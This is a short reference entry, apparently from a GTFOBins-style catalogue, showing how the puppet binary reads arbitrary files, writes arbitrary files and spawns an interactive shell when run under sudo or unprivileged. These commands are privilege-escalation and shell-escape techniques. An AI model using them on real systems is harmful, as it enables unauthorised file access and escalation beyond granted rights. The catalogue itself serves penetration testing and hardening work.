puppet

File Read

Context: sudo, unprivileged

puppet filebucket -l diff /dev/null /path/to/input-file

File Write

Context: sudo, unprivileged

puppet apply -e 'file { "/path/to/output-file": content => "DATA" }'

Shell

Context: sudo, unprivileged

puppet apply -e "exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }"